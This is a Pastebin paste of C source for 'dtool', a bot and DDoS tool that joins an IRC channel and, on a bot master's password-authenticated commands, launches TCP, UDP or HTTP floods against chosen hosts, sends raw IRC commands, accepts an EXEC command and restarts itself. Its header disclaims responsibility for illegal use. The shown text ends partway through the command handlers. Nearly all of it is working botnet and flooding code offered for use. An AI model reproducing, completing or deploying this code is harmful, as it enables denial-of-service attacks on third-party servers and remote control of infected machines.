Advertisement
Guest User

Untitled

a guest
Feb 5th, 2016
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 58.81 KB | None | 0 0
  1. /**
  2. * A tiny IRC bot/DDoS utility with support for TCP, UDP and HTTP flood.
  3. *
  4. * You can use this utility in any way you want, I'm not responsible for any
  5. * illegal usage or damage caused by this code (In fact, I don't give a shit >:).
  6. *
  7. * 2010 by DiAvOl
  8. * Version 0.3
  9. */
  10.  
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <unistd.h>
  14. #include <fcntl.h>
  15. #include <ctype.h>
  16. #include <string.h>
  17. #include <strings.h>
  18. #include <time.h>
  19. #include <inttypes.h>
  20. #include <stdarg.h>
  21. #include <errno.h>
  22. #include <signal.h>
  23. #include <pthread.h>
  24. #include <netdb.h>
  25. #include <sys/select.h>
  26. #include <sys/time.h>
  27. #include <sys/types.h>
  28. #include <sys/socket.h>
  29. #include <netinet/in.h>
  30. #include <arpa/inet.h>
  31.  
  32. /* IRC server connection configuration. */
  33. #define IRC_HOST "irc.anthrochat.net"
  34. #define IRC_PORT 6667
  35. #define IRC_CHANNEL "#kek"
  36. #define IRC_CHANNEL_KEY ""
  37. #define IRC_SERVER_PASS ""
  38.  
  39. /* Client configuration. */
  40. #define IRC_NICK_PREFIX "dtool"
  41. #define IRC_REALNAME "dtool"
  42. #define IRC_USERNAME "dtool"
  43.  
  44. #define IRC_COMMAND_CHARACTER '.' /* Commands should begin with this character. */
  45.  
  46. /* Password used for authentication (bot master). */
  47. #define MASTER_PASSWORD "off"
  48. /* Only connections macthing this host are allowed to authenticate. */
  49. #define HOST_ALLOW "*" /* Wildcard characters '?' and '*' are accepted. */
  50.  
  51. /********** Basic configuration up to this point.. more advanced below **********/
  52.  
  53. /* How often to check for socket timeouts (in seconds). */
  54. #define CHECK_TIMEOUT 5
  55.  
  56. /* A value of 10 will cause the client to send a PRIVMSG to the channel defined
  57. * above for every 10 MB of data traffic (sent/received depending on the attack type).
  58. * Additional statistics will be shown too (speed, total mb read/sent).
  59. */
  60. #define REPORT_IF_SIZE 30 /* in megabytes. */
  61.  
  62. /* The buffer size. 8192 is a good value. */
  63. #define BUFFER_SIZE 8192
  64. /* 32 should be ok for most IRC servers. */
  65. #define NICKMAX 32
  66. /* Max IRC message length. */
  67. #define MAX_MSG_LEN 512
  68. /* I know.. the http header below could be much better (user agent, keepalive options etc.) */
  69. #define HTTP_REQUEST "GET %s HTTP/1.0\nHost: %s\n\n"
  70.  
  71. /* Bitmask definitions used as status flags. */
  72. #define SS_CONNECTING 0x1
  73. #define SS_CONNECTED 0x2
  74. #define SS_BLOCKED 0x4
  75. /* The following MACROS accept a socket_t pointer. */
  76. #define SET_CONNECTING(sock) ((sock)->status |= SS_CONNECTING)
  77. #define SET_CONNECTED(sock) ((sock)->status |= SS_CONNECTED)
  78. #define SET_BLOCKED(sock) ((sock)->status |= SS_BLOCKED)
  79. #define UNSET_CONNECTING(sock) ((sock)->status &= ~SS_CONNECTING)
  80. #define UNSET_CONNECTED(sock) ((sock)->status &= ~SS_CONNECTED)
  81. #define UNSET_BLOCKED(sock) ((sock)->status &= ~SS_BLOCKED)
  82. #define IS_CONNECTING(sock) ((sock)->status & SS_CONNECTING)
  83. #define IS_CONNECTED(sock) ((sock)->status & SS_CONNECTED)
  84. #define IS_BLOCKED(sock) ((sock)->status & SS_BLOCKED)
  85.  
  86. /* "Attack" type definitions. */
  87. #define T_TCP 1
  88. #define T_UDP 2
  89. #define T_HTTP 3
  90.  
  91. /* Options for the command parser (currently only the one below). */
  92. #define OPT_TOKENIZE 0x1
  93.  
  94. /* Maximum number of FD's for this process (normally 1024). */
  95. #ifdef FD_SETSIZE
  96. #define MAX_FDS FD_SETSIZE
  97. #else
  98. #define MAX_FDS 1024
  99. #endif
  100.  
  101. /* Avoid unused variable warnings for GCC. */
  102. #ifndef ATTRIBUTE_UNUSED
  103. #if defined(__GNUC__) && (__GNUC__ > 3 || __GNUC__ == 3 && __GNUC_MINOR__ > 0)
  104. #define ATTRIBUTE_UNUSED __attribute__((unused))
  105. #else
  106. #define ATTRIBUTE_UNUSED
  107. #endif
  108. #endif
  109.  
  110. /* Total number of microseconds in a timeval structure. */
  111. #define MICROSECOND_DIFF(tv) (((tv)->tv_sec * 1000000) + (tv)->tv_usec)
  112.  
  113. /* Max number of parameters for user commands. */
  114. #define MAX_PARAM 15
  115.  
  116. /* Convenience macros. */
  117. #define BYTES_TO_MB(B) (((B) / 1024) / 1024)
  118. #define MB_TO_BYTES(mb) (((mb) * 1024) * 1024)
  119.  
  120. /* typedef's makes our life easier (and harder for code readers probably). */
  121. typedef struct _socket socket_t;
  122. typedef struct _treadargs treadargs_t;
  123. typedef struct _threaddata threaddata_t;
  124. typedef struct _eventset eventset_t;
  125. typedef struct _stats stats_t;
  126. typedef struct _user user_t;
  127. typedef struct _ircserver ircserver_t;
  128. typedef struct _cmd cmd_t;
  129. typedef ssize_t(*sock_cb)(threaddata_t *, socket_t *);
  130. typedef void (*conn_cb)(threaddata_t *);
  131.  
  132. /* IRC server info structure. */
  133. struct _ircserver {
  134. char *host; /* Server's host. */
  135. uint16_t port; /* Server's port. */
  136. char *channel; /* Channel to join when connected. */
  137. char *channel_key; /* Channel's key, if any. */
  138. char *server_pass; /* Server's password, if any. */
  139. };
  140.  
  141. /* User structure for the local client and for command parsing. */
  142. struct _user {
  143. char *nick; /* IRC nickname. */
  144. char *realname; /* IRC realname (gcos). */
  145. char *username; /* IRC username. */
  146. char *host; /* IRC host address string. */
  147. };
  148.  
  149. /* Socket structure with all the required data in one place. */
  150. struct _socket {
  151. int sockfd; /* Socket file descriptor. */
  152. uint32_t status; /* Status flags (connected, connecting etc.) */
  153. time_t socket_time; /* Socket time currently used for timeout code (seconds). */
  154. int wbufp; /* The offset of the write buffer for the HTTP attack type. */
  155. sock_cb write_cb; /* Callback called when a write() would not block. */
  156. sock_cb read_cb; /* Callback called when a read() would not block. */
  157. };
  158.  
  159. /* Thread argument's structure passed from the "main" thread to the worker thread. */
  160. struct _treadargs {
  161. char host[255]; /* Remote (target) host - not really needed.*/
  162. char file[255]; /* The file to abuse with the HTTP attack. */
  163. uint16_t port; /* Remote server's port - not really needed.*/
  164. uint16_t total_connections; /* number of connections to make. */
  165. uint16_t socket_timeout; /* socket timeout in seconds. */
  166. uint16_t packet_size; /* (obviously) the size of the packet to construct. */
  167. int32_t write_delay; /* Time to wait before doing more write()'s in milliseconds. */
  168. uint8_t type; /* Attack type for this thread. */
  169. struct sockaddr_in serveraddr; /* Targets address structure. */
  170. unsigned long size; /* How many MB's to waste.. */
  171. };
  172.  
  173. /* Eventset structure. */
  174. struct _eventset {
  175. fd_set readfds; /* The "global" read fd set. */
  176. fd_set writefds; /* The "global" write fd set. */
  177. };
  178.  
  179. /* Stats structure for both received and sent data. */
  180. struct _stats {
  181. long long total_bytes; /* Total bytes read/sent. */
  182. long long last_bytes; /* Used for speed calculation. */
  183. unsigned long total_mb; /* Total mb read/sent. */
  184. time_t LAST_CAPTURE_TIME; /* Used for speed calculation. */
  185. };
  186.  
  187. /* The "global" data for this thread. I know, it's ugly.. */
  188. struct _threaddata {
  189. eventset_t e; /* read/write event set for I/O. */
  190. int maxfd; /* Highest 'active' fd. */
  191. uint16_t port; /* Target port. */
  192. uint16_t active_sockets; /* The number of active sockets (connected/connecting). */
  193. uint16_t total_connections; /* Number of connections to initiate. */
  194. uint8_t socket_timeout; /* Socket timeout in seconds. */
  195. int32_t write_delay; /* Delay in writing. */
  196. struct timeval DELAY_TIME; /* Delay time for write delay (both seconds and microseconds). */
  197. struct timeval CURRENT_TIME; /* Current time (both seconds and microseconds). */
  198. time_t LAST_TIMEOUT_CHECK; /* Used for the socket timeout checking. */
  199. socket_t fdlist[MAX_FDS]; /* The fd list. */
  200. char wbuffer[1500]; /* Write buffer. */
  201. char rbuffer[BUFFER_SIZE]; /* Read buffer. */
  202. int wbuf_len; /* Write buffer contents length. */
  203. struct sockaddr_in serveraddr; /* Remote host internet address. */
  204. stats_t rstats; /* Read stats. */
  205. stats_t wstats; /* Write stats. */
  206. unsigned long size; /* Total size to read/write (in megabytes). */
  207. unsigned long connections_succeed; /* Completed connections count. */
  208. unsigned long connections_failed; /* Failed connections count. */
  209. sock_cb write_cb; /* Callback function called when a socket is ready for writting. */
  210. sock_cb read_cb; /* Callback function called when a socket is ready for reading. */
  211. conn_cb open_connection; /* Callback function called when a connection should be made. */
  212. };
  213.  
  214. /* Command structure for the user command's parser. */
  215. struct _cmd {
  216. char *command; /* Command string. */
  217. uint8_t options; /* The only option supported at the moment is OPT_TOKENIZE. */
  218. void (*handler)(user_t *, int argc, char *argv[]); /* Command handler function. */
  219. };
  220.  
  221. static int sock; /* The main socket connected to the IRC server. */
  222. static char buffer[MAX_MSG_LEN]; /* Buffer for IRC messages. */
  223. static char tmpbuf[2 * sizeof (buffer)]; /* Should be at least sizeof(buffer) x 2. */
  224. static int tmpbufp; /* Temporary buffer pointer. */
  225. static char hostname[50]; /* System's hostname. */
  226. static char rnd_str[10]; /* Used for random nickname generation. */
  227. static pthread_mutex_t wr_lock; /* Mutex for serialized write()'s on the same FD. */
  228. static treadargs_t thread_data; /* Arguments passed to the worker thread from the main thread. */
  229. static pthread_t pthread; /* Thread handle used for by all the pthread functions. */
  230. static char *program_executable; /* Path to the program's executable (for execv). */
  231. static ircserver_t irc_srv; /* IRC server information. */
  232. static user_t bot_master; /* The bot masters user. */
  233. static user_t user; /* Our client. */
  234. static struct timeval CURRENT_TIME; /* The global main thread's timeval structure. */
  235.  
  236. /* Main & IRC related functions. */
  237. static int parse_line(char *line);
  238. static void parse_privmsg( user_t *client, char *privmsg);
  239. static void make_user(user_t *client, char *sender);
  240. static char *random_nick(void);
  241. static void do_restart(char *av[]);
  242. static void *thread_function(void *tdata);
  243.  
  244. /* I/O functions. */
  245. static void init_fdset(fd_set *set);
  246. static void init_fdlist(socket_t *fd_list);
  247. static void rw_socket(threaddata_t *data, socket_t *sock, int r, int w);
  248. static ssize_t write_data(int sock, void *data, size_t len);
  249. static void sock_printf(char *fmt, ...);
  250. static void check_timeouts(threaddata_t *data);
  251. static void check_active_sockets(threaddata_t *data);
  252. static void check_write_delay(threaddata_t *data);
  253. static void io_loop(threaddata_t *data);
  254. static void setnonblocking(int sockfd);
  255. static void add_socket(threaddata_t *data, socket_t *sock, fd_set *set);
  256. static void del_socket(threaddata_t *data, socket_t *sock);
  257. static void add_fd(int fd, fd_set *set);
  258. static void del_fd(int fd, fd_set *set);
  259.  
  260. /* I/O callback functions. */
  261. static void open_udp(threaddata_t *data);
  262. static void open_tcp_connection(threaddata_t *data);
  263. static ssize_t read_tcp1(threaddata_t *data, socket_t *sock);
  264. static ssize_t write_tcp1(threaddata_t *data, socket_t *sock);
  265. static ssize_t write_tcp2(threaddata_t *data, socket_t *sock);
  266. static ssize_t write_udp1(threaddata_t *data, socket_t *sock);
  267.  
  268. /* Misc functions. */
  269. static void dns(const char *address, struct sockaddr_in *saddr);
  270. static char *fqdn(char *buf, size_t blen);
  271. static char *random_string(char *buf, int blen);
  272. static char *strtok_remaining(void);
  273. static int terminate_thread(void);
  274. static void free_user(user_t *user);
  275. static void report_speed(threaddata_t *data, stats_t *stats, const char *type);
  276. static struct timeval get_time(time_t *t);
  277. static int match_wild(const char *pattern, const char *str);
  278. static int do_match_wild(const char *pattern, const char *str, int docase);
  279. int timeval_subtract(struct timeval *result, struct timeval *x, struct timeval *y);
  280.  
  281. /* Command handler functions. */
  282. static void http_flood(user_t *user, int argc, char *argv[]);
  283. static void tcp_flood(user_t *user, int argc, char *argv[]);
  284. static void udp_flood(user_t *user, int argc, char *argv[]);
  285. static void raw_cmd(user_t* user, int argc, char* argv[]);
  286. static void quit_cmd(user_t *user, int argc, char *argv[]);
  287. static void stop_cmd(user_t *user, int argc, char *argv[]);
  288. static void restart_cmd(user_t *user, int argc, char *argv[]);
  289. static void auth_cmd(user_t *user, int argc, char *argv[]);
  290. static void logout_cmd(user_t *user, int argc, char *argv[]);
  291. static void exec_cmd(user_t *user, int argc, char *argv[]);
  292. static void change_server(user_t *user, int argc, char *argv[]);
  293.  
  294. cmd_t command_table[] = {
  295. { "HTTPFLOOD", OPT_TOKENIZE, http_flood},
  296. { "TCPFLOOD", OPT_TOKENIZE, tcp_flood},
  297. { "UDPFLOOD", OPT_TOKENIZE, udp_flood},
  298. { "AUTH", 0, auth_cmd},
  299. { "RAW", 0, raw_cmd},
  300. { "EXEC", 0, exec_cmd},
  301. { "CHSERVER", OPT_TOKENIZE, change_server},
  302. { "STOP", 0, stop_cmd},
  303. { "RESTART", 0, restart_cmd},
  304. { "QUIT", 0, quit_cmd},
  305. { "LOGOUT", 0, logout_cmd},
  306. { NULL, 0, NULL}
  307. };
  308.  
  309. /**** MAIN & IRC PARSING FUNCTIONS BELOW ****/
  310.  
  311. /**
  312. * main
  313. *
  314. * Everything starts here..
  315. * Connect to the IRC server and start parsing messages.
  316. */
  317. int main(int argc, char *argv[]) {
  318. struct sockaddr_in serveraddr;
  319. ssize_t b;
  320. char *p, *s;
  321.  
  322. /* This should never happen.. (happened to me though while restarting :). */
  323. if (argc < 1) {
  324. fprintf(stderr, "Invalid number of arguments: %d\n", argc);
  325. exit(EXIT_FAILURE);
  326. } else if (argc >= 4) {
  327. argc--;
  328.  
  329. irc_srv.host = argv[1]; argc--;
  330. irc_srv.port = atoi(argv[2]); argc--;
  331. irc_srv.channel = argv[3]; argc--;
  332.  
  333. if (argc) {
  334. irc_srv.channel_key = argv[4]; argc--;
  335. } else {
  336. irc_srv.channel_key = NULL;
  337. }
  338.  
  339. if (argc) {
  340. irc_srv.server_pass = argv[5]; argc--;
  341. } else {
  342. irc_srv.server_pass = NULL;
  343. }
  344. } else {
  345. irc_srv.host = IRC_HOST;
  346. irc_srv.port = IRC_PORT;
  347. irc_srv.channel = IRC_CHANNEL;
  348. irc_srv.server_pass = IRC_SERVER_PASS;
  349. irc_srv.channel_key = IRC_CHANNEL_KEY;
  350. }
  351.  
  352. /* Write()'s on closed sockets can crash the application. */
  353. signal(SIGPIPE, SIG_IGN);
  354.  
  355. /* Generate better pseudo-random numbers. */
  356. srand((unsigned int) time(NULL) + getpid());
  357.  
  358. /* Save executable's path for RESTART (can be done with /proc/self too). */
  359. program_executable = argv[0];
  360.  
  361. fqdn(hostname, 50); /* Get systems hostname. */
  362.  
  363. fprintf(stdout, "Hostname: %s\n", hostname);
  364.  
  365. user.nick = strdup(random_nick());
  366. user.realname = strdup(IRC_REALNAME);
  367. user.username = strdup(IRC_USERNAME);
  368. user.host = strdup("127.0.0.1");
  369.  
  370. memset((char *) & serveraddr, 0, sizeof (serveraddr));
  371. serveraddr.sin_family = AF_INET;
  372. serveraddr.sin_port = htons(irc_srv.port);
  373. dns(irc_srv.host, &serveraddr);
  374.  
  375. sock = socket(AF_INET, SOCK_STREAM, 0);
  376.  
  377. if (sock < 0) {
  378. perror("socket()");
  379. exit(EXIT_FAILURE);
  380. }
  381.  
  382. fprintf(stdout, "Connecting to %s:%u.\n", irc_srv.host, irc_srv.port);
  383.  
  384. if (connect(sock, (struct sockaddr *) & serveraddr,
  385. sizeof (serveraddr)) < 0) {
  386. perror("connect()");
  387. do_restart(NULL); /* Keep restarting until we get a connection to the server. */
  388. exit(EXIT_FAILURE);
  389. }
  390.  
  391. if (irc_srv.server_pass && irc_srv.server_pass[0]) {
  392. sock_printf("PASS %s", irc_srv.server_pass);
  393. }
  394.  
  395. sock_printf("NICK %s\nUSER %s 8 * :%s", user.nick, user.username,
  396. user.realname);
  397.  
  398. do {
  399. b = read(sock, buffer, sizeof (buffer));
  400.  
  401. CURRENT_TIME = get_time(NULL);
  402.  
  403. memcpy((char *) tmpbuf + tmpbufp, (char *) buffer, B);
  404. tmpbufp += b;
  405.  
  406. s = tmpbuf;
  407.  
  408. while ((p = strchr(s, '\n'))) {
  409. *p++ = '\0';
  410.  
  411. parse_line(s);
  412. s = p;
  413. }
  414.  
  415. tmpbufp -= s - tmpbuf;
  416.  
  417. if (tmpbufp) {
  418. memmove(tmpbuf, s, tmpbufp);
  419. }
  420. } while (b > 0);
  421.  
  422. if (b <= 0) {
  423. perror("read()");
  424. do_restart(argv);
  425.  
  426. /* Normally never reached. */
  427. exit(EXIT_FAILURE);
  428. }
  429.  
  430. close(sock); /* Close the IRC server socket. */
  431.  
  432. free_user(&user); /* Free the local user data structure. */
  433.  
  434. return 0;
  435. }
  436.  
  437. /**************************************************************************/
  438.  
  439. /**
  440. * do_restart
  441. *
  442. * If all else fails..
  443. */
  444. static void do_restart(char *av[]) {
  445. char * avd[] = {NULL, NULL};
  446.  
  447. avd[0] = program_executable;
  448.  
  449. execv(program_executable, av ? av : avd);
  450.  
  451. /* Should not return */
  452. fprintf(stderr, "Restart failed: %s\n", strerror(errno));
  453. exit(EXIT_FAILURE);
  454. }
  455.  
  456. /**************************************************************************/
  457.  
  458. /**
  459. * make_user
  460. *
  461. * Return a user structure after parsing the prefix message.
  462. */
  463. static void make_user(user_t *client, char *prefix) {
  464. char *s = prefix;
  465.  
  466. client->realname = NULL;
  467. client->nick = s;
  468.  
  469. while (*s && *s != '!') {
  470. s++;
  471. }
  472.  
  473. if (!*s) {
  474. client->username = NULL;
  475. client->host = NULL;
  476.  
  477. return;
  478. }
  479.  
  480. *s++ = '\0';
  481.  
  482. client->username = s;
  483.  
  484. while (*s != '@') {
  485. s++;
  486. }
  487.  
  488. *s++ = '\0';
  489.  
  490. client->host = s;
  491.  
  492. return;
  493. }
  494.  
  495. /**************************************************************************/
  496.  
  497. /**
  498. * parse_line
  499. *
  500. * Parse an IRC message line.
  501. */
  502. static int parse_line(char *line) {
  503. char *prefix, *command, *target;
  504. user_t client;
  505. size_t len;
  506.  
  507. char *s = line;
  508.  
  509. if (*s == ':') {
  510. prefix = ++s;
  511.  
  512. while (*s != ' ') {
  513. s++;
  514. }
  515.  
  516. *s++ = '\0';
  517.  
  518. make_user(&client, prefix);
  519. } else {
  520. prefix = NULL;
  521. }
  522.  
  523. command = s;
  524.  
  525. while (*s != ' ') {
  526. s++;
  527. }
  528.  
  529. *s++ = '\0';
  530.  
  531. target = s;
  532.  
  533. if (*s == ':') {
  534. target = NULL;
  535. } else {
  536. while (*s != ' ') {
  537. s++;
  538. }
  539.  
  540. *s++ = '\0';
  541. }
  542.  
  543. s++;
  544.  
  545. len = strlen(s);
  546.  
  547. /* Remove CR character from the end of the string. */
  548. if (s[len - 1] == '\r') {
  549. s[len - 1] = '\0';
  550. }
  551.  
  552. /* Numeric command. */
  553. if (isdigit(command[0])) {
  554. switch (atoi(command)) {
  555. case 001: /* Client connected to the server - join the main channel. */
  556. sock_printf("JOIN %s %s", irc_srv.channel, irc_srv.channel_key);
  557. break;
  558. case 433: /* Current nick is in use, change nick. */
  559. sock_printf("NICK %s", random_nick());
  560. break;
  561. }
  562. } else { /* String command. */
  563. if (strcmp(command, "PRIVMSG") == 0) { /* Private message received. */
  564. parse_privmsg(&client, s);
  565. } else if (strcmp(command, "NOTICE") == 0) { /* Notice received. */
  566. parse_privmsg(&client, s);
  567. } else if (strcmp(command, "PING") == 0) { /* PONG. */
  568. sock_printf("PONG :%s", s);
  569. } else if (strcmp(command, "PART") == 0) { /* User parts channel. */
  570. if (bot_master.nick && strcasecmp(bot_master.nick, prefix) == 0
  571. && strcasecmp(irc_srv.channel, target) == 0) {
  572. /* Bot master left the building. */
  573. bot_master.nick = NULL;
  574. bot_master.host = NULL;
  575. }
  576. } else if (strcmp(command, "KICK") == 0) { /* User kicked (is this us?) */
  577. char *p = s;
  578.  
  579. while(*p != ' ') {
  580. p++;
  581. }
  582.  
  583. *p = '\0';
  584.  
  585. if (strcasecmp(irc_srv.channel, target) == 0 && strcasecmp(user.nick, s)) {
  586. sock_printf("JOIN %s %s", irc_srv.channel, irc_srv.channel_key);
  587. }
  588. } else if (strcmp(command, "QUIT") == 0) { /* Users quits IRC. */
  589. if (bot_master.nick && strcasecmp(bot_master.nick, prefix) == 0) {
  590. /* Bot master left the building. */
  591. bot_master.nick = NULL;
  592. bot_master.host = NULL;
  593. }
  594. }
  595. }
  596.  
  597. return 0;
  598. }
  599.  
  600. /**************************************************************************/
  601.  
  602. /**
  603. * random_nick
  604. *
  605. * Generate a partially random nickname and return it.
  606. */
  607. static char *random_nick(void) {
  608. static char nick[NICKMAX];
  609.  
  610. random_string(rnd_str, 10);
  611. snprintf(nick, NICKMAX, "%s%s", IRC_NICK_PREFIX, rnd_str);
  612.  
  613. return nick;
  614. }
  615.  
  616. /**************************************************************************/
  617.  
  618. /**
  619. * parse_privmsg
  620. *
  621. * Parse the private message string and execute user commands.
  622. */
  623. static void parse_privmsg(user_t *client, char *privmsg) {
  624. char *params[MAX_PARAM];
  625. int valid_client = 0, paramcnt = 0;
  626. int i;
  627. cmd_t *cmd = NULL;
  628. char *token;
  629.  
  630. if (bot_master.nick) {
  631. if (strcmp(bot_master.nick, client->nick) == 0
  632. && strcmp(bot_master.host, client->host) == 0) {
  633. valid_client = 1;
  634. }
  635. }
  636.  
  637. if (privmsg[0] != IRC_COMMAND_CHARACTER) {
  638. return;
  639. }
  640.  
  641. privmsg++; /* Skip command character. */
  642.  
  643. token = strtok(privmsg, " ");
  644.  
  645. if (!token) {
  646. return;
  647. }
  648.  
  649. /* Only allow the auth command to unauthorized users. */
  650. if (strcasecmp(token, "AUTH") != 0 && !valid_client) {
  651. return;
  652. }
  653.  
  654. params[paramcnt++] = token;
  655.  
  656. for (i = 0; command_table[i].command; i++) {
  657. if (strcasecmp(params[0], command_table[i].command) == 0) {
  658. cmd = &command_table[i];
  659. break;
  660. }
  661. }
  662.  
  663. if (cmd) {
  664. if (cmd->options & OPT_TOKENIZE) {
  665. while ((token = strtok(NULL, " ")) && paramcnt < MAX_PARAM) {
  666. params[paramcnt++] = token;
  667. }
  668. } else {
  669. token = strtok_remaining();
  670.  
  671. if (token) {
  672. params[paramcnt++] = token;
  673. }
  674. }
  675.  
  676. /* Do not include the command parameter. */
  677. cmd->handler(client, paramcnt - 1, &params[1]);
  678. }
  679. }
  680.  
  681. /**************************************************************************/
  682.  
  683. /**** COMMAND HANDLING FUNCTIONS BELOW ****/
  684.  
  685. #define HTTP_FLOOD_USAGE "Usage: HTTPFLOOD \037host\037 \037port\037 \037file\037 \037size " \
  686. "(in MB)\037 \037connections\037 \037timeout (seconds)\037 \037delay (milliseconds)\037"
  687.  
  688. /**
  689. * http_flood
  690. *
  691. * Handle the http flood attack.
  692. */
  693. static void http_flood(user_t *user, int argc, char *argv[]) {
  694. int rc;
  695.  
  696. if (argc < 7) {
  697. sock_printf("PRIVMSG %s :[%s] %s",
  698. irc_srv.channel, hostname, HTTP_FLOOD_USAGE);
  699. return;
  700. }
  701.  
  702. strncpy(thread_data.host, argv[0], 255);
  703. thread_data.port = atoi(argv[1]);
  704. strncpy(thread_data.file, argv[2], 255);
  705. thread_data.size = atol(argv[3]);
  706. thread_data.total_connections = atoi(argv[4]);
  707. thread_data.socket_timeout = atoi(argv[5]);
  708. thread_data.write_delay = atoi(argv[6]);
  709. thread_data.type = T_HTTP;
  710.  
  711. memset((char *) & thread_data.serveraddr, 0, sizeof (thread_data.serveraddr));
  712. thread_data.serveraddr.sin_family = AF_INET;
  713. thread_data.serveraddr.sin_port = htons(thread_data.port);
  714. dns(thread_data.host, &thread_data.serveraddr);
  715.  
  716. rc = pthread_create(&pthread, NULL, thread_function, (void *) & thread_data);
  717.  
  718. if (rc) {
  719. printf("ERROR; return code from pthread_create() is %d\n", rc);
  720. sock_printf("PRIVMSG %s :[%s] Erroneus return code from "
  721. "pthread_create() => %d",
  722. irc_srv.channel, hostname, rc);
  723. }
  724.  
  725. sock_printf("PRIVMSG %s :[%s] {HTTPFLOOD} Started consuming data from host %s on port %d getting"
  726. " file %s (%s)", irc_srv.channel, hostname, thread_data.host, thread_data.port, thread_data.file, user->nick);
  727. }
  728.  
  729. /**************************************************************************/
  730.  
  731. #define TCP_FLOOD_USAGE "Usage: TCPFLOOD \037host\037 \037port\037 \037packetsize\037 \037size " \
  732. "(in MB)\037 \037connections\037 \037timeout (seconds)\037 \037delay (milliseconds)\037"
  733.  
  734. /**
  735. * tcp_flood
  736. *
  737. * Handle the tcp flood attack.
  738. */
  739. static void tcp_flood(user_t *user, int argc, char *argv[]) {
  740. int rc;
  741.  
  742. if (argc < 7) {
  743. sock_printf("PRIVMSG %s :[%s] %s",
  744. irc_srv.channel, hostname, TCP_FLOOD_USAGE);
  745. return;
  746. }
  747.  
  748. strncpy(thread_data.host, argv[0], 100);
  749. thread_data.port = atoi(argv[1]);
  750. thread_data.packet_size = atoi(argv[2]);
  751. thread_data.size = atol(argv[3]);
  752. thread_data.total_connections = atoi(argv[4]);
  753. thread_data.socket_timeout = atoi(argv[5]);
  754. thread_data.write_delay = atoi(argv[6]);
  755. thread_data.type = T_TCP;
  756.  
  757. memset((char *) & thread_data.serveraddr, 0, sizeof (thread_data.serveraddr));
  758. thread_data.serveraddr.sin_family = AF_INET;
  759. thread_data.serveraddr.sin_port = htons(thread_data.port);
  760. dns(thread_data.host, &thread_data.serveraddr);
  761.  
  762. rc = pthread_create(&pthread, NULL, thread_function, (void *) & thread_data);
  763.  
  764. if (rc) {
  765. printf("ERROR; return code from pthread_create() is %d\n", rc);
  766. sock_printf("PRIVMSG %s :[%s] Erroneus return code from "
  767. "pthread_create() => %d",
  768. irc_srv.channel, hostname, rc);
  769. }
  770.  
  771. sock_printf("PRIVMSG %s :[%s] {TCPFLOOD} Started sending tcp data to host %s on port %d (%s)",
  772. irc_srv.channel, hostname, thread_data.host, thread_data.port, user->nick);
  773. }
  774.  
  775. /**************************************************************************/
  776.  
  777. #define UDP_FLOOD_USAGE "Usage: UDPFLOOD \037host\037 \037port\037 \037packetsize\037 \037size " \
  778. "(in MB)\037 \037connections\037 \037delay (miliseconds)\037"
  779.  
  780. /**
  781. * udp_flood
  782. *
  783. * Handle the udp flood attack.
  784. */
  785. static void udp_flood(user_t *user, int argc, char *argv[]) {
  786. int rc;
  787.  
  788. if (argc < 6) {
  789. sock_printf("PRIVMSG %s :[%s] %s",
  790. irc_srv.channel, hostname, UDP_FLOOD_USAGE);
  791. return;
  792. }
  793.  
  794. strncpy(thread_data.host, argv[0], 100);
  795. thread_data.port = atoi(argv[1]);
  796. thread_data.packet_size = atoi(argv[2]);
  797. thread_data.size = atol(argv[3]);
  798. thread_data.total_connections = atoi(argv[4]);
  799. thread_data.write_delay = atoi(argv[5]);
  800. thread_data.type = T_UDP;
  801.  
  802. memset((char *) & thread_data.serveraddr, 0, sizeof (thread_data.serveraddr));
  803. thread_data.serveraddr.sin_family = AF_INET;
  804. if (thread_data.port > 0) {
  805. thread_data.serveraddr.sin_port = htons(thread_data.port);
  806. }
  807. dns(thread_data.host, &thread_data.serveraddr);
  808.  
  809. rc = pthread_create(&pthread, NULL, thread_function, (void *) & thread_data);
  810.  
  811. if (rc) {
  812. printf("ERROR; return code from pthread_create() is %d\n", rc);
  813. sock_printf("PRIVMSG %s :[%s] Erroneus return code from "
  814. "pthread_create() => %d",
  815. irc_srv.channel, hostname, rc);
  816. }
  817.  
  818. sock_printf("PRIVMSG %s :[%s] {UDPFLOOD} Started sending udp data to host %s on port %d (%s)",
  819. irc_srv.channel, hostname, thread_data.host, thread_data.port, user->nick);
  820. }
  821.  
  822. /**************************************************************************/
  823.  
  824. #define RAW_CMD_USAGE "Usage: RAW \037command\037"
  825.  
  826. /**
  827. * raw_cmd
  828. *
  829. * Send a RAW command to the IRC server.
  830. */
  831. static void raw_cmd(user_t *user, int argc, char *argv[]) {
  832. if (argc < 1) {
  833. sock_printf("PRIVMSG %s :[%s] %s",
  834. irc_srv.channel, hostname, RAW_CMD_USAGE);
  835. return;
  836. }
  837.  
  838. sock_printf("PRIVMSG %s :[%s] {RAW} Executing command: %s (%s)",
  839. irc_srv.channel, hostname, argv[0], user->nick);
  840.  
  841. sock_printf(argv[0]);
  842. }
  843.  
  844. /**************************************************************************/
  845.  
  846. /**
  847. * quit_cmd
  848. *
  849. * Quit from the IRC Server and don't come back.
  850. */
  851. static void quit_cmd(user_t *user, int argc, char *argv[]) {
  852. sock_printf("PRIVMSG %s :[%s] {QUIT} %s (%s)",
  853. irc_srv.channel, hostname, (argc > 0) ? argv[0] : "-", user->nick);
  854.  
  855. if (argc > 0) {
  856. sock_printf("QUIT :%s", argv[0]);
  857. }
  858.  
  859. close(sock);
  860. exit(EXIT_SUCCESS);
  861. }
  862.  
  863. /**************************************************************************/
  864.  
  865. /**
  866. * stop_cmd
  867. *
  868. * Stop any in progress attack.
  869. * TODO: Return useful info from the terminated thread.
  870. */
  871. static void stop_cmd(user_t *user, int argc ATTRIBUTE_UNUSED, char *argv[] ATTRIBUTE_UNUSED) {
  872. int ret;
  873.  
  874. ret = terminate_thread();
  875.  
  876. sock_printf("PRIVMSG %s :[%s] {STOP} Stop command -> %s (%s)",
  877. irc_srv.channel, hostname,
  878. ret ? "attack stoped" : "no running attack", user->nick);
  879. }
  880.  
  881. /**************************************************************************/
  882.  
  883. /**
  884. * restart_cmd
  885. *
  886. * Restart dtool and reconnect to the default IRC server.
  887. */
  888. static void restart_cmd(user_t *user, int argc ATTRIBUTE_UNUSED, char *argv[] ATTRIBUTE_UNUSED) {
  889. sock_printf("PRIVMSG %s :[%s] {RESTART} (%s)",
  890. irc_srv.channel, hostname, user->nick);
  891.  
  892. close(sock);
  893. do_restart(NULL);
  894.  
  895. exit(EXIT_FAILURE);
  896. }
  897.  
  898. /**************************************************************************/
  899.  
